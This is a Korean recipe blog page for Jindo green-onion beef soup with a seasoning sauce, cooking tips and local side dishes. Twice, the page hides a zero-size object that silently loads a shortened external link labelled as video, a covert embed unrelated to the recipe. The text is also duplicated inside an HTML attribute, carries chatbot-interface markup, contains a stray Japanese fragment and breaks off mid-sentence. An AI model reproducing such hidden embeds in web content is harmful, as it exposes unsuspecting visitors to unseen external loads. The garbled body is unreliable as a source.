진도대파국 양념장과 레시피

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">진도 대파국: 푸짐한 대파와 시원한 국물의 만남!</h2>진도의 대표 음식, 진도 대파국!진도 대파국은 푸짐한 대파와 시원한 국물이 어우러져 남녀노소 누구나 좋아하는 진도의 대표 음식입니다. 쫄깃한 소고기와 달콤한 대파, 그리고 시원한 국물 한 숟갈만으로도 남도의 따스한 햇살을 느낄 수 있는 듯한 행복이 찾아옵니다.오늘은 직접 진도 대파국을 끓여보고 싶은 분들을 위해 진도 대파국 양념장 레시피와 꿀팁을 공유하려 합니다. 또한, 진도 대파국과 함께 꼭 곁들여 먹어야 하는 진도의 별미까지 소개합니다!진도 대파국 레시피재료<ul data-sourcepos="13:1-25:0"> <li data-sourcepos="13:1-13:11">소고기: 500g</li> <li data-sourcepos="14:1-14:10">대파: 5~6대</li> <li data-sourcepos="15:1-15:9">다시마: 1장</li> <li data-sourcepos="16:1-16:8">마늘: 3쪽</li> <li data-sourcepos="17:1-17:9">생강: 1조각</li> <li data-sourcepos="18:1-18:10">식용유: 2큰술</li> <li data-sourcepos="19:1-19:10">참기름: 1큰술</li> <li data-sourcepos="20:1-20:10">국간장: 3큰술</li> <li data-sourcepos="21:1-21:11">멸치액젓: 1큰술</li> <li data-sourcepos="22:1-22:13">소금: 1/2 작은술</li> <li data-sourcepos="23:1-23:8">후추: 약간</li> <li data-sourcepos="24:1-25:0">물: 2.5L</li> </ul>양념장 재료<ul data-sourcepos="28:1-34:0"> <li data-sourcepos="28:1-28:11">고춧가루: 1큰술</li> <li data-sourcepos="29:1-29:18">굵은 고춧가루: 1/2 작은술</li> <li data-sourcepos="30:1-30:14">다진 마늘: 1/2큰술</li> <li data-sourcepos="31:1-31:13">다진 청양고추: 1개</li> <li data-sourcepos="32:1-32:10">국간장: 1큰술</li> <li data-sourcepos="33:1-34:0">물: 1큰술</li> </ul>조리법<ol data-sourcepos="37:1-45:0"> <li data-sourcepos="37:1-37:36">소고기는 먹기 좋은 크기로 썰어 소금, 후추로 간을 합니다.</li> <li data-sourcepos="38:1-38:39">대파는 5cm 정도 길이로 썰고, 마늘은 다진 마늘로 준비합니다.</li> <li data-sourcepos="39:1-39:31">냄비에 식용유와 참기름을 두르고 소고기를 볶습니다.</li> <li data-sourcepos="40:1-40:25">소고기가 볶아지면 대파를 넣고 볶습니다.</li> <li data-sourcepos="41:1-41:34">다시마, 마늘, 생강을 넣고 볶다가 물을 넣고 끓입니다.</li> <li data-sourcepos="42:1-42:46">국물이 끓으면 거품을 제거하고 국간장, 멸치액젓, 소금, 후추로 간을 합니다.</li> <li data-sourcepos="43:1-43:38">약 30분간 끓여 소고기가 부드러워지면 양념장을 넣고 끓입니다.</li> <li data-sourcepos="44:1-45:0">양념장이 끓으면 취향에 따라 당면, 숙주, 계란 등을 추가하여 끓입니다.</li> </ol>꿀팁<ul data-sourcepos="48:1-52:0"> <li data-sourcepos="48:1-48:44">진도 대파국은 대파가 많을수록 맛있습니다. 푸짐하게 대파를 넣어 끓여보세요.</li> <li data-sourcepos="49:1-49:43">양념장 대신 고춧가루, 멸치액젓, 참기름 등을 넣고 간을 맞춰도 좋습니다.</li> <li data-sourcepos="50:1-50:48">매운 것을 좋아하는 분들은 양념장에 고춧가루를 더 넣어 매콤하게 만들 수 있습니다.</li> <li data-sourcepos="51:1-52:0">진도 대파국과 함께 깻잎, 파, 마늘 등을 곁들여 먹으면 더욱 맛있게 즐길 수 있습니다.</li> </ul>진도 대파국과 함께 즐기는 진도의 별미<ul data-sourcepos="55:1-58:0"> <li data-sourcepos="55:1-55:54">진도 갓김치: 진도 갓으로 만든 김치입니다. 갓 특유의 향과 바삭한 식감이 일품입니다.</li> <li data-sourcepos="56:1-56:71">진도 멸치젓: 신선한 멸치로 만든 멸치젓입니다. 진도 대파국에 넣어 끓여 먹으면 더욱 풍부한 맛을 즐길 수 있습니다.</li> <li data-sourcepos="57:1-58:0">진도 産の 참기름: 진도에서 갓 짠 참기름입니다. 진도 대파국에 살짝 뿌려주면 향긋한 참기름 향이 더해집니다.</li> </ul>진도 대파국, 직접 만들어보세요!푸짐한 대파와 시원한 국물이 어우러진 진도 대파국을 직접 만들어 가족, 친구들과 함께 맛보세요! 진도의 따스한 햇살</div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">진도 대파국: 푸짐한 대파와 시원한 국물의 만남!</h2>진도의 대표 음식, 진도 대파국!진도 대파국은 푸짐한 대파와 시원한 국물이 어우러져 남녀노소 누구나 좋아하는 진도의 대표 음식입니다. 쫄깃한 소고기와 달콤한 대파, 그리고 시원한 국물 한 숟갈만으로도 남도의 따스한 햇살을 느낄 수 있는 듯한 행복이 찾아옵니다.오늘은 직접 진도 대파국을 끓여보고 싶은 분들을 위해 진도 대파국 양념장 레시피와 꿀팁을 공유하려 합니다. 또한, 진도 대파국과 함께 꼭 곁들여 먹어야 하는 진도의 별미까지 소개합니다!진도 대파국 레시피재료<ul data-sourcepos="13:1-25:0"> <li data-sourcepos="13:1-13:11">소고기: 500g</li> <li data-sourcepos="14:1-14:10">대파: 5~6대</li> <li data-sourcepos="15:1-15:9">다시마: 1장</li> <li data-sourcepos="16:1-16:8">마늘: 3쪽</li> <li data-sourcepos="17:1-17:9">생강: 1조각</li> <li data-sourcepos="18:1-18:10">식용유: 2큰술</li> <li data-sourcepos="19:1-19:10">참기름: 1큰술</li> <li data-sourcepos="20:1-20:10">국간장: 3큰술</li> <li data-sourcepos="21:1-21:11">멸치액젓: 1큰술</li> <li data-sourcepos="22:1-22:13">소금: 1/2 작은술</li> <li data-sourcepos="23:1-23:8">후추: 약간</li> <li data-sourcepos="24:1-25:0">물: 2.5L</li> </ul>양념장 재료<ul data-sourcepos="28:1-34:0"> <li data-sourcepos="28:1-28:11">고춧가루: 1큰술</li> <li data-sourcepos="29:1-29:18">굵은 고춧가루: 1/2 작은술</li> <li data-sourcepos="30:1-30:14">다진 마늘: 1/2큰술</li> <li data-sourcepos="31:1-31:13">다진 청양고추: 1개</li> <li data-sourcepos="32:1-32:10">국간장: 1큰술</li> <li data-sourcepos="33:1-34:0">물: 1큰술</li> </ul>조리법<ol data-sourcepos="37:1-45:0"> <li data-sourcepos="37:1-37:36">소고기는 먹기 좋은 크기로 썰어 소금, 후추로 간을 합니다.</li> <li data-sourcepos="38:1-38:39">대파는 5cm 정도 길이로 썰고, 마늘은 다진 마늘로 준비합니다.</li> <li data-sourcepos="39:1-39:31">냄비에 식용유와 참기름을 두르고 소고기를 볶습니다.</li> <li data-sourcepos="40:1-40:25">소고기가 볶아지면 대파를 넣고 볶습니다.</li> <li data-sourcepos="41:1-41:34">다시마, 마늘, 생강을 넣고 볶다가 물을 넣고 끓입니다.</li> <li data-sourcepos="42:1-42:46">국물이 끓으면 거품을 제거하고 국간장, 멸치액젓, 소금, 후추로 간을 합니다.</li> <li data-sourcepos="43:1-43:38">약 30분간 끓여 소고기가 부드러워지면 양념장을 넣고 끓입니다.</li> <li data-sourcepos="44:1-45:0">양념장이 끓으면 취향에 따라 당면, 숙주, 계란 등을 추가하여 끓입니다.</li> </ol>꿀팁<ul data-sourcepos="48:1-52:0"> <li data-sourcepos="48:1-48:44">진도 대파국은 대파가 많을수록 맛있습니다. 푸짐하게 대파를 넣어 끓여보세요.</li> <li data-sourcepos="49:1-49:43">양념장 대신 고춧가루, 멸치액젓, 참기름 등을 넣고 간을 맞춰도 좋습니다.</li> <li data-sourcepos="50:1-50:48">매운 것을 좋아하는 분들은 양념장에 고춧가루를 더 넣어 매콤하게 만들 수 있습니다.</li> <li data-sourcepos="51:1-52:0">진도 대파국과 함께 깻잎, 파, 마늘 등을 곁들여 먹으면 더욱 맛있게 즐길 수 있습니다.</li> </ul>진도 대파국과 함께 즐기는 진도의 별미<ul data-sourcepos="55:1-58:0"> <li data-sourcepos="55:1-55:54">진도 갓김치: 진도 갓으로 만든 김치입니다. 갓 특유의 향과 바삭한 식감이 일품입니다.</li> <li data-sourcepos="56:1-56:71">진도 멸치젓: 신선한 멸치로 만든 멸치젓입니다. 진도 대파국에 넣어 끓여 먹으면 더욱 풍부한 맛을 즐길 수 있습니다.</li> <li data-sourcepos="57:1-58:0">진도 産の 참기름: 진도에서 갓 짠 참기름입니다. 진도 대파국에 살짝 뿌려주면 향긋한 참기름 향이 더해집니다.</li> </ul>진도 대파국, 직접 만들어보세요!푸짐한 대파와 시원한 국물이 어우러진 진도 대파국을 직접 만들어 가족, 친구들과 함께 맛보세요! 진도의 따스한 햇살</div> </div></div>